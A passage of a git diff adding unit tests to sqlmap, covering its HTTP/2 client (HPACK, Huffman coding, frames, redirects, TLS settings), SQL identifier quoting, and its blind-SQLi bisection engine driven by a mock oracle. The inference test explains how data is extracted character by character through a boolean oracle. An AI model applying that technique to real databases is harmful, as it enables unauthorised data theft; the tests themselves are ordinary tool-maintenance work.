decode_integer(bytearray([31, 0x80, 0x80, 0x80, 0x80, 0x80, 0]), 0, 5) + + +class TestHuffman(unittest.TestCase): + def test_known_vector_www_example_com(self): + # RFC 7541 C.4.1 + self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff") + + def test_empty(self): + self.assertEqual(huffman_encode(b""), b"") + self.assertEqual(huffman_decode(b""), b"") + + def test_roundtrip(self): + for sample in (b"a", b"hello world", b"/index.html?a=1&b=2", + b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + bytes(bytearray(range(256)))): + self.assertEqual(huffman_decode(huffman_encode(sample)), sample) + + def test_shrinks_typical_text(self): + sample = b"www.example.com" + self.assertLess(len(huffman_encode(sample)), len(sample)) + + def test_padding_too_long_rejected(self): + # 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding + with self.assertRaises(H2CompressionError): + huffman_decode(_b(0xFE)) + + def test_non_eos_padding_rejected(self): + with self.assertRaises(H2CompressionError): + huffman_decode(b"\x00") + + +class TestStringCoding(unittest.TestCase): + def test_huffman_branch_roundtrip(self): + encoded = encode_string(b"custom-value") + self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text + self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded))) + + def test_literal_branch_when_huffman_would_not_shrink(self): + encoded = encode_string(_b(0xFF)) + self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string + self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded))) + + def test_disable_huffman(self): + encoded = encode_string(b"abc", huffman=False) + self.assertFalse(bytearray(encoded)[0] & 0x80) + self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded))) + + def test_truncated_string_rejected(self): + with self.assertRaises(H2CompressionError): + decode_string(bytearray(b"\x03ab"), 0) + + +class TestHpackDecoder(unittest.TestCase): + def test_indexed_static_entries(self): + # 0x82/0x86/0x84 -> static indices 2, 6, 4 + self.assertEqual( + Decoder().decode(_b(0x82, 0x86, 0x84)), + [(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")], + ) + + def test_static_lookup_bounds(self): + d = Decoder() + self.assertEqual(d._get(1), (b":authority", b"")) + self.assertEqual(d._get(2), (b":method", b"GET")) + self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1]) + + def test_index_zero_rejected(self): + with self.assertRaises(H2CompressionError): + Decoder()._get(0) + + def test_index_out_of_range_rejected(self): + with self.assertRaises(H2CompressionError): + Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet + + def test_literal_incremental_indexing_populates_dynamic_table(self): + # 0x40 = literal with incremental indexing, new name + block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")]) + # entry is now addressable at the first dynamic index (STATIC_LEN + 1) + self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value")) + self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value")) + + def test_literal_without_indexing_does_not_touch_dynamic_table(self): + block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")]) + self.assertEqual(d.dynamic, []) + + def test_dynamic_table_eviction(self): + d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36 + d._add(b"aa", b"bb") + self.assertEqual(len(d.dynamic), 1) + d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted + self.assertEqual(d.dynamic, [(b"cc", b"dd")]) + self.assertEqual(d._size, 36) + + def test_dynamic_size_update_clears(self): + d = Decoder() + d._add(b"x", b"y") + d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0 + self.assertEqual(d.max_size, 0) + self.assertEqual(d.dynamic, []) + + def test_oversized_dynamic_size_update_rejected(self): + update = bytes(encode_integer(4097, 5, 0x20)) + with self.assertRaises(H2CompressionError): + Decoder().decode(update) + + def test_late_dynamic_size_update_rejected(self): + block = _b(0x82) + bytes(encode_integer(0, 5, 0x20)) + with self.assertRaises(H2CompressionError): + Decoder().decode(block) + + def test_decoded_header_list_limit(self): + block = bytearray([0x00]) + encode_string(b"name") + encode_string(b"value") + with self.assertRaises(H2CompressionError): + Decoder(max_header_list_size=1).decode(bytes(block)) + + +class TestHpackEncoderRoundTrip(unittest.TestCase): + def test_roundtrip_through_decoder(self): + headers = [ + (b":method", b"GET"), + (b":scheme", b"https"), + (b":path", b"/a/b?c=d"), + (b":authority", b"example.com"), + (b"user-agent", b"sqlmap"), + (b"accept", b""), # empty value + (b"x-custom", b"\x00\x01\xff"), # non-ASCII value + ] + self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers) + + def test_encoder_output_is_bytes(self): + self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes) + + +class TestH2Response(unittest.TestCase): + def _make(self, status=200, headers=None, body=b"body"): + headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")] + return H2Response("https://target/x", status, headers, body) + + def test_basic_fields(self): + r = self._make() + self.assertEqual(r.code, 200) + self.assertEqual(r.status, 200) + self.assertEqual(r.msg, "OK") + self.assertEqual(r.http_version, "HTTP/2.0") + self.assertEqual(r.geturl(), "https://target/x") + + def test_unknown_status_message(self): + self.assertEqual(self._make(status=799).msg, "") + + def test_pseudo_headers_stripped(self): + r = self._make() + self.assertNotIn(":status", r.info()) + self.assertEqual(r.info().get("content-type"), "text/html") + + def test_read_full_then_empty(self): + r = self._make(body=b"hello") + self.assertEqual(r.read(), b"hello") + self.assertEqual(r.read(), b"") # offset exhausted + + def test_read_in_chunks(self): + r = self._make(body=b"abcdef") + self.assertEqual(r.read(2), b"ab") + self.assertEqual(r.read(3), b"cde") + self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder + self.assertEqual(r.read(10), b"") + + def test_str_header_names_accepted(self): + # headers may arrive already decoded to str (not only bytes) + r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}") + self.assertEqual(r.info().get("content-type"), "application/json") + + def test_mimetools_style_headers_list(self): + # patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present + r = self._make() + self.assertTrue(hasattr(r.info(), "headers")) + self.assertIn("content-type: text/html\r\n", r.info().headers) + + def test_close_is_noop(self): + self.assertIsNone(self._make().close()) + + def test_negative_read_reads_all_remaining(self): + r = self._make(body=b"abcdef") + self.assertEqual(r.read(2), b"ab") + self.assertEqual(r.read(-1), b"cdef") + self.assertEqual(r.read(), b"") + + +class TestRequestValidation(unittest.TestCase): + def test_method_case_is_preserved(self): + headers = _request_header_list("foo", "/", "example.test", None, b"") + self.assertEqual(headers[0], (b":method", b"foo")) + + def test_lowercase_connect_is_not_rewritten(self): + headers = _request_header_list("connect", "/x", "example.test", None, b"") + self.assertIn((b":scheme", b"https"), headers) + self.assertIn((b":path", b"/x"), headers) + + def test_exact_connect_uses_connect_pseudo_fields(self): + headers = _request_header_list("CONNECT", "ignored", "example.test:443", None, b"") + self.assertEqual(headers[:2], [(b":method", b"CONNECT"), (b":authority", b"example.test:443")]) + self.assertNotIn((b":scheme", b"https"), headers) + + def test_invalid_method_rejected(self): + with self.assertRaises(H2ProtocolError): + _request_header_list("GE\rT", "/", "example.test", None, b"") + + def test_invalid_path_rejected(self): + with self.assertRaises(H2ProtocolError): + _request_header_list("GET", "/bad\x00path", "example.test", None, b"") + + def test_invalid_authority_rejected(self): + with self.assertRaises(H2ProtocolError): + _request_header_list("GET", "/", "x\r\ny", None, b"") + + def test_connection_fields_and_nominees_are_removed(self): + headers = _request_header_list( + "GET", "/", "example.test", + [("Connection", "x-remove"), ("X-Remove", "yes"), ("X-Keep", "yes")], b"" + ) + self.assertNotIn((b"connection", b"x-remove"), headers) + self.assertNotIn((b"x-remove", b"yes"), headers) + self.assertIn((b"x-keep", b"yes"), headers) + + def test_invalid_te_rejected(self): + with self.assertRaises(H2ProtocolError): + _request_header_list("GET", "/", "example.test", {"TE": "gzip"}, b"") + + def test_content_length_mismatch_rejected(self): + with self.assertRaises(H2ProtocolError): + _request_header_list("POST", "/", "example.test", {"Content-Length": "4"}, b"abc") + + def test_duplicate_content_length_is_collapsed(self): + headers = _request_header_list( + "POST", "/", "example.test", + [("Content-Length", "3"), ("content-length", "3")], b"abc" + ) + self.assertEqual([item for item in headers if item[0] == b"content-length"], [(b"content-length", b"3")]) + + +class TestAuthorityHandling(unittest.TestCase): + def test_default_port_is_omitted(self): + self.assertEqual(_authority_for_host("example.test", 443), "example.test") + + def test_nondefault_port_is_included(self): + self.assertEqual(_authority_for_host("example.test", 8443), "example.test:8443") + + def test_ipv6_is_bracketed(self): + self.assertEqual(_authority_for_host("2001:db8::1", 8443), "[2001:db8::1]:8443") + + def test_idna_host_is_ascii(self): + self.assertEqual(_authority_for_host(u"t\u00e4st.example", 443), "xn--tst-qla.example") + + +class TestResponseValidation(unittest.TestCase): + def test_identical_content_lengths_are_accepted(self): + headers = [(b":status", b"200"), (b"content-length", b"3"), (b"content-length", b"3")] + self.assertEqual(_parse_content_length(headers), 3) + + def test_comma_joined_identical_content_lengths_are_accepted(self): + self.assertEqual(_parse_content_length([(b"content-length", b"3, 3")]), 3) + + def test_conflicting_content_lengths_are_rejected(self): + with self.assertRaises(H2ProtocolError): + _parse_content_length([(b"content-length", b"1"), (b"content-length", b"2")]) + + def test_invalid_status_range_is_rejected(self): + with self.assertRaises(H2ProtocolError): + _validate_response_field_section([(b":status", b"799")]) + + def test_content_length_in_trailers_is_rejected(self): + with self.assertRaises(H2ProtocolError): + _validate_response_field_section([(b"content-length", b"0")], trailers=True) + + +class TestConnectionState(unittest.TestCase): + def _exchange(self, incoming, method="GET", body=None): + conn = _bare_connection(incoming) + return conn, conn.exchange(method, "/", "example.test", {}, body, 1) + + def test_end_stream_headers_wait_for_continuation(self): + block = _response_block(b"200", [(b"x-test", b"ok")]) + cut = max(1, len(block) // 2) + incoming = ( + encode_frame(HEADERS, FLAG_END_STREAM, 1, block[:cut]) + + encode_frame(CONTINUATION, FLAG_END_HEADERS, 1, block[cut:]) + ) + conn, result = self._exchange(incoming) + self.assertEqual(result[0], 200) + self.assertIn((b"x-test", b"ok"), result[1]) + self.assertEqual(conn.sock.incoming, bytearray()) + + def test_content_length_short_body_is_rejected(self): + incoming = ( + encode_frame(HEADERS, FLAG_END_HEADERS, 1, _response_block(b"200", [(b"content-length", b"4")])) + + encode_frame(DATA, FLAG_END_STREAM, 1, b"abc") + ) + with self.assertRaises(H2ProtocolError): + self._exchange(incoming) + + def test_content_length_long_body_is_rejected(self): + incoming = ( + encode_frame(HEADERS, FLAG_END_HEADERS, 1, _response_block(b"200", [(b"content-length", b"2")])) + + encode_frame(DATA, FLAG_END_STREAM, 1, b"abc") + ) + with self.assertRaises(H2ProtocolError): + self._exchange(incoming) + + def test_204_body_is_rejected(self): + incoming = ( + encode_frame(HEADERS, FLAG_END_HEADERS, 1, _response_block(b"204")) + + encode_frame(DATA, FLAG_END_STREAM, 1, b"not allowed") + ) + with self.assertRaises(H2ProtocolError): + self._exchange(incoming) + + def test_204_content_length_is_rejected(self): + incoming = encode_frame( + HEADERS, FLAG_END_HEADERS | FLAG_END_STREAM, 1, + _response_block(b"204", [(b"content-length", b"0")]) + ) + with self.assertRaises(H2ProtocolError): + self._exchange(incoming) + + def test_head_body_is_rejected(self): + incoming = ( + encode_frame(HEADERS, FLAG_END_HEADERS, 1, _response_block(b"200")) + + encode_frame(DATA, FLAG_END_STREAM, 1, b"body") + ) + with self.assertRaises(H2ProtocolError): + self._exchange(incoming, method="HEAD") + + def test_informational_responses_are_bounded(self): + early = encode_frame(HEADERS, FLAG_END_HEADERS, 1, _response_block(b"103")) + incoming = early * (MAX_INFORMATIONAL_RESPONSES + 1) + with self.assertRaises(H2Error): + self._exchange(incoming) + + def test_receive_flow_control_is_enforced(self): + incoming = ( + encode_frame(HEADERS, FLAG_END_HEADERS, 1, _response_block(b"200")) + + encode_frame(DATA, FLAG_END_STREAM, 1, b"ab") + ) + conn = _bare_connection(incoming) + conn.conn_recv_window = 1 + with self.assertRaises(H2ProtocolError): + conn.exchange("GET", "/", "example.test", {}, None, 1) + + def test_large_request_is_fragmented(self): + incoming = encode_frame( + HEADERS, FLAG_END_HEADERS | FLAG_END_STREAM, 1, _response_block(b"200") + ) + conn, result = self._exchange(incoming, method="POST", body=b"x" * 20000) + self.assertEqual(result[0], 200) + frames = _frames_from_bytes(b"".join(conn.sock.sent)) + lengths = [len(payload) for ftype, _, _, payload in frames if ftype == DATA] + self.assertEqual(lengths, [16384, 3616]) + + def test_goaway_uses_first_payload_word_as_last_stream_id(self): + incoming = ( + encode_frame(GOAWAY, 0, 0, struct.pack("!II", 1, 0)) + + encode_frame(HEADERS, FLAG_END_HEADERS | FLAG_END_STREAM, 1, _response_block(b"200")) + ) + conn, result = self._exchange(incoming) + self.assertEqual(result[0], 200) + self.assertFalse(conn.usable) + + def test_trailers_are_decoded_as_separate_field_section(self): + incoming = ( + encode_frame(HEADERS, FLAG_END_HEADERS, 1, _response_block(b"200", [(b"content-length", b"4")])) + + encode_frame(DATA, 0, 1, b"body") + + encode_frame(HEADERS, FLAG_END_HEADERS | FLAG_END_STREAM, 1, Encoder().encode([(b"x-trailer", b"done")])) + ) + _, result = self._exchange(incoming) + self.assertEqual(result[2], b"body") + self.assertIn((b"x-trailer", b"done"), result[1]) + + def test_server_settings_enable_push_zero_is_accepted(self): + conn = _bare_connection() + payload = struct.pack("!HI", SETTINGS_ENABLE_PUSH, 0) + conn._handle_settings(0, 0, payload) + self.assertTrue(conn.sock.sent) + + def test_server_settings_enable_push_one_is_rejected(self): + conn = _bare_connection() + payload = struct.pack("!HI", SETTINGS_ENABLE_PUSH, 1) + with self.assertRaises(H2ProtocolError): + conn._handle_settings(0, 0, payload) + + +class TestTlsPolicy(unittest.TestCase): + def setUp(self): + if not hasattr(ssl.SSLContext, "set_alpn_protocols"): + self.skipTest("ALPN is unavailable") + + def test_verification_is_disabled_by_default_context(self): + context = _make_ssl_context(False, None) + self.assertEqual(context.verify_mode, ssl.CERT_NONE) + self.assertFalse(getattr(context, "check_hostname", False)) + + def test_verification_can_be_enabled(self): + if not hasattr(ssl, "create_default_context"): + self.skipTest("verified contexts are unavailable") + context = _make_ssl_context(True, None) + self.assertEqual(context.verify_mode, ssl.CERT_REQUIRED) + + def test_tls_minimum_is_12_when_supported(self): + context = _make_ssl_context(False, None) + tls_version = getattr(ssl, "TLSVersion", None) + if tls_version is None or not hasattr(context, "minimum_version"): + self.skipTest("minimum_version is unavailable") + self.assertGreaterEqual(context.minimum_version, tls_version.TLSv1_2) + + +class TestRedirectHandling(unittest.TestCase): + def _run_with_fake_exchange(self, responses, **kwargs): + calls = [] + original = _http2._pooledExchange + + def fake(host, port, proxy, method, path, authority, headers, body, timeout, + verify=False, ssl_context=None): + calls.append((host, port, method, path, authority, list(_http2._iter_header_items(headers)), body)) + return responses[len(calls) - 1] + + _http2._pooledExchange = fake + try: + response = _http2.open_url(**kwargs) + finally: + _http2._pooledExchange = original + return response, calls + + def test_custom_method_is_not_case_normalized_on_redirect(self): + responses = [ + (302, [(b":status", b"302"), (b"location", b"/next")], b""), + (200, [(b":status", b"200")], b"ok"), + ] + response, calls = self._run_with_fake_exchange( + responses, url="https://example.test/start", method="post", headers={}, body=b"x" + ) + self.assertEqual(response.status, 200) + self.assertEqual(calls[1][2], "post") + self.assertEqual(calls[1][6], b"x") + + def test_post_302_becomes_get_and_drops_entity_headers(self): + responses = [ + (302, [(b":status", b"302"), (b"location", b"/next")], b""), + (200, [(b":status", b"200")], b"ok"), + ] + _, calls = self._run_with_fake_exchange( + responses, + url="https://example.test/start", + method="POST", + headers=[("Content-Type", "text/plain"), ("X-Keep", "yes")], + body=b"x", + ) + self.assertEqual(calls[1][2], "GET") + self.assertIsNone(calls[1][6]) + names = [key.lower() for key, _ in calls[1][5]] + self.assertNotIn("content-type", names) + self.assertIn("x-keep", names) + + def test_cross_origin_redirect_strips_all_credentials(self): + responses = [ + (307, [(b":status", b"307"), (b"location", b"https://other.test/final")], b""), + (200, [(b":status", b"200")], b"ok"), + ] + _, calls = self._run_with_fake_exchange( + responses, + url="https://example.test/start", + method="GET", + headers=[("Authorization", "a"), ("Cookie", "b"), ("Authorization", "c"), ("X-Keep", "yes")], + ) + names = [key.lower() for key, _ in calls[1][5]] + self.assertNotIn("authorization", names) + self.assertNotIn("cookie", names) + self.assertIn("x-keep", names) + + def test_idna_and_nondefault_port_authority(self): + responses = [(200, [(b":status", b"200")], b"ok")] + _, calls = self._run_with_fake_exchange( + responses, url=u"https://t\u00e4st.example:8443/path", method="GET" + ) + self.assertEqual(calls[0][0], "xn--tst-qla.example") + self.assertEqual(calls[0][1], 8443) + self.assertEqual(calls[0][4], "xn--tst-qla.example:8443") + + +class TestPoolRetries(unittest.TestCase): + class _Connection(object): + def __init__(self, outcomes): + self.outcomes = outcomes + self.usable = True + self.closed = False + + def exchange(self, *args): + outcome = self.outcomes.pop(0) + if isinstance(outcome, Exception): + raise outcome + return outcome + + def close(self): + self.closed = True + self.usable = False + + def setUp(self): + _http2.close_pooled_connections() + + def tearDown(self): + _http2.close_pooled_connections() + + def _install_factory(self, connections): + original = _http2._H2Connection + + def factory(*args, **kwargs): + return connections.pop(0) + + _http2._H2Connection = factory + return original + + def test_reused_get_is_retried_after_transport_eof(self): + first = self._Connection([ + (200, [(b":status", b"200")], b"first"), + H2TransportError("stale"), + ]) + second = self._Connection([(200, [(b":status", b"200")], b"second")]) + original = self._install_factory([first, second]) + try: + _http2._pooledExchange("x", 443, None, "GET", "/", "x", {}, None, 1) + result = _http2._pooledExchange("x", 443, None, "GET", "/", "x", {}, None, 1) + finally: + _http2._H2Connection = original + self.assertEqual(result[2], b"second") + self.assertTrue(first.closed) + + def test_reused_post_is_not_retried_after_transport_eof(self): + first = self._Connection([ + (200, [(b":status", b"200")], b"first"), + H2TransportError("stale"), + ]) + original = self._install_factory([first]) + try: + _http2._pooledExchange("x", 443, None, "POST", "/", "x", {}, b"a", 1) + with self.assertRaises(H2TransportError): + _http2._pooledExchange("x", 443, None, "POST", "/", "x", {}, b"a", 1) + finally: + _http2._H2Connection = original + + +@unittest.skipUnless(HAVE_H2, "python-hyper/h2 is not installed") +class TestLocalH2Peer(unittest.TestCase): + class _WrappedSocket(object): + def __init__(self, raw): + self.raw = raw + + def selected_alpn_protocol(self): + return "h2" + + def version(self): + return "TLSv1.2" + + def compression(self): + return None + + def __getattr__(self, name): + return getattr(self.raw, name) + + class _FakeContext(object): + def wrap_socket(self, raw, server_hostname=None): + return TestLocalH2Peer._WrappedSocket(raw) + + def _with_peer(self, server_target, client_target): + client_raw, server_raw = socket.socketpair() + errors = [] + + def run_server(): + try: + server_target(server_raw) + except Exception as ex: + errors.append(ex) + finally: + server_raw.close() + + original_connect = _http2._connect_socket + original_context = _http2._make_ssl_context + _http2._connect_socket = lambda *args, **kwargs: client_raw + _http2._make_ssl_context = lambda *args, **kwargs: self._FakeContext() + thread = threading.Thread(target=run_server) + thread.start() + try: + result = client_target() + finally: + _http2._connect_socket = original_connect + _http2._make_ssl_context = original_context + client_raw.close() + thread.join(5) + if thread.is_alive(): + self.fail("local HTTP/2 peer did not terminate") + if errors: + raise errors[0] + return result + + def test_large_post_flow_control_and_method_preservation(self): + observed = {"headers": None, "body": bytearray()} + + def server(raw): + h2 = ReferenceH2Connection(config=H2Configuration(client_side=False, header_encoding=None)) + h2.initiate_connection() + raw.sendall(h2.data_to_send()) + done = False + while not done: + data = raw.recv(65536) + if not data: + break + for event in h2.receive_data(data): + if isinstance(event, RequestReceived): + observed["headers"] = event.headers + elif isinstance(event, DataReceived): + observed["body"].extend(event.data) + h2.acknowledge_received_data(event.flow_controlled_length, event.stream_id) + elif isinstance(event, StreamEnded): + h2.send_headers(event.stream_id, [(b":status", b"200"), (b"content-length", b"2")]) + h2.send_data(event.stream_id, b"ok", end_stream=True) + done = True + outbound = h2.data_to_send() + if outbound: + raw.sendall(outbound) + + def client(): + conn = _H2Connection("example.test", 443, None, 5) + try: + return conn.exchange("foo", "/upload", "example.test", {}, b"x" * 100000, 5) + finally: + conn.close() + + result = self._with_peer(server, client) + self.assertEqual(result[0], 200) + self.assertEqual(result[2], b"ok") + self.assertEqual(len(observed["body"]), 100000) + self.assertIn((b":method", b"foo"), observed["headers"]) + + def test_exchange_pair_reports_completion_order(self): + def server(raw): + h2 = ReferenceH2Connection(config=H2Configuration(client_side=False, header_encoding=None)) + h2.initiate_connection() + raw.sendall(h2.data_to_send()) + ended = [] + while len(ended) < 2: + data = raw.recv(65536) + if not data: + break + for event in h2.receive_data(data): + if isinstance(event, StreamEnded): + ended.append(event.stream_id) + outbound = h2.data_to_send() + if outbound: + raw.sendall(outbound) + for sid in reversed(ended): + h2.send_headers(sid, [(b":status", b"200")], end_stream=True) + raw.sendall(h2.data_to_send()) + + def client(): + conn = _H2Connection("example.test", 443, None, 5) + try: + return conn.exchange_pair([ + {"method": "GET", "path": "/first"}, + {"method": "GET", "path": "/second"}, + ], 5) + finally: + conn.close() + + order, results = self._with_peer(server, client) + self.assertEqual(order, [3, 1]) + self.assertEqual(results[1][0], 200) + self.assertEqual(results[3][0], 200) + + +class TestConstants(unittest.TestCase): + def test_redirect_codes(self): + for code in (301, 302, 303, 307, 308): + self.assertIn(code, REDIRECT_CODES) + self.assertNotIn(200, REDIRECT_CODES) + + def test_static_table_length(self): + self.assertEqual(STATIC_LEN, len(STATIC_TABLE)) + self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py new file mode 100644 index 00000000000..39a97f06625 --- /dev/null +++ b/tests/test_identifiers_output.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Identifier quoting per DBMS dialect, CSV value escaping, and dump value +replacement markers. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue +from lib.core.enums import DBMS + + +class TestIdentifierQuoting(unittest.TestCase): + # special-char identifier -> the per-dialect quoting wrapper + WRAP = { + DBMS.MYSQL: "`weird name`", + DBMS.MSSQL: "[weird name]", + DBMS.PGSQL: '"weird name"', + DBMS.ORACLE: '"WEIRD NAME"', # Oracle upper-cases quoted identifiers + } + + def test_special_identifier_quoting(self): + for dbms, wrapped in self.WRAP.items(): + set_dbms(dbms) + self.assertEqual(safeSQLIdentificatorNaming("weird name"), wrapped, msg=str(dbms)) + + def test_simple_identifier_roundtrip(self): + # plain identifier needs no quoting; round-trips identically on case-preserving dialects + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + for ident in ("users", "password", "tbl1"): + self.assertEqual(safeSQLIdentificatorNaming(ident), ident, msg="%s %r" % (dbms, ident)) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(ident)), ident) + + def test_oracle_uppercases_on_unsafe(self): + # documented dialect quirk: Oracle unsafe-naming upper-cases identifiers + set_dbms(DBMS.ORACLE) + self.assertEqual(safeSQLIdentificatorNaming("users"), "users") + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("users")), "USERS") + + def test_unsafe_strips_quotes(self): + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("weird name")), "weird name") + + +class TestSafeCSValue(unittest.TestCase): + CASES = [ + ("foobar", "foobar"), # plain -> unchanged + ("foo,bar", '"foo,bar"'), # contains delimiter -> quoted + ('he"y', '"he""y"'), # contains quote -> doubled + wrapped + ("a\nb", '"a\nb"'), # contains newline -> quoted + ('"a","b"', '"""a"",""b"""'), # value that begins+ends with a quote must STILL be escaped + ('"', '""""'), # lone quote -> doubled + wrapped + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(safeCSValue(inp), expected, msg="safeCSValue(%r)" % inp) + + def test_csv_roundtrip(self): + # the real invariant: a dumped cell must come back as exactly ONE field with its original + # content (a value that begins+ends with '"' must not be emitted verbatim - that splits it) + import csv + for value in ("foobar", "foo,bar", 'he"y', '"a","b"', '"', 'a"b"c'): + line = safeCSValue(value) + fields = next(csv.reader([line])) # csv.reader accepts any iterable of text lines (py2+py3) + self.assertEqual(fields, [value], msg="round-trip failed for %r -> %r" % (value, line)) + + +# (DUMP_REPLACEMENTS markers are covered in test_dicts.py - not duplicated here) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py new file mode 100644 index 00000000000..34959dbb7b0 --- /dev/null +++ b/tests/test_inference_engine.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The blind-SQLi extraction engine (lib/techniques/blind/inference.py bisection). + +This is the actual algorithm that pulls data out one character at a time over a +boolean/blind oracle - the heart of sqlmap. It is normally network-coupled, so +here we drive the REAL bisection() against a mock oracle: Request.queryPage is +replaced with a function that decodes the forged payload (we control the payload +template, so it is trivially parseable) and answers the comparison against a +known secret. If bisection's binary search, charset narrowing, or value assembly +regress, these go red - without a live target. + +Also asserts the search is logarithmic (binary search), not a linear scan of the +character space. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import getCurrentThreadData +from lib.request.connect import Connect +import lib.techniques.blind.inference as inf + +# bisection does: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). We pass a parseable +# template so the mock oracle can recover (idx, operator, threshold). +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False} + + +class _EngineCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + self._saved_counters = kb.get("counters") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + # getCounter()/kb.counters is a cumulative per-technique query tally; reset it so each test + # measures only its own extraction (bisection returns the absolute counter, not a per-call delta) + kb.counters = {} + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + kb.counters = self._saved_counters + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _extract(self, secret, charsetType=None): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=charsetType) + return value, count + + +class TestBisectionExtraction(_EngineCase): + # NOTE: the alpha / numeric / mixed cases are NOT redundant - getChar has per-class + # "first character" position heuristics (distinct branches for a-z, A-Z and 0-9 at + # inference.py ~331-336), so each character class exercises a different code path. + def test_single_char(self): + value, _ = self._extract("X") + self.assertEqual(value, "X") + + def test_alpha(self): + value, _ = self._extract("AdminUser") # exercises the a-z / A-Z heuristic branch + self.assertEqual(value, "AdminUser") + + def test_alphanumeric(self): + value, _ = self._extract("admin123") + self.assertEqual(value, "admin123") + + def test_with_spaces_and_symbols(self): + value, _ = self._extract("p@ss W0rd!") + self.assertEqual(value, "p@ss W0rd!") + + def test_numeric_string(self): + value, _ = self._extract("4815162342") # exercises the 0-9 heuristic branch + self.assertEqual(value, "4815162342") + + def test_longer_value(self): + secret = "The quick brown fox 0123456789" + value, _ = self._extract(secret) + self.assertEqual(value, secret) + + +class TestUnicodeExpansion(_EngineCase): + """charsetType=None starts with a 0..127 table and gradually expands it (shiftTable) to + reach higher code points. This test exercises the FIRST expansion step (code points + 128..1023) via Latin-1 chars, where the per-byte oracle model is exact. + + NOTE: kb.disableShiftTable is an INTENTIONAL session-level safety latch (sqlmap author's + design): once expansion runs all the way to the top - only reachable by a code point above + 0xFFFFF, or by a misbehaving always-TRUE oracle - it disables further expansion to prevent + runaway / erroneous extraction. That is deliberate, so this test does NOT assert that + expansion survives across such an event. + + (Code points >= 256 are retrieved/assembled byte-wise in real runs - decodeIntToUnicode + splits them into a byte 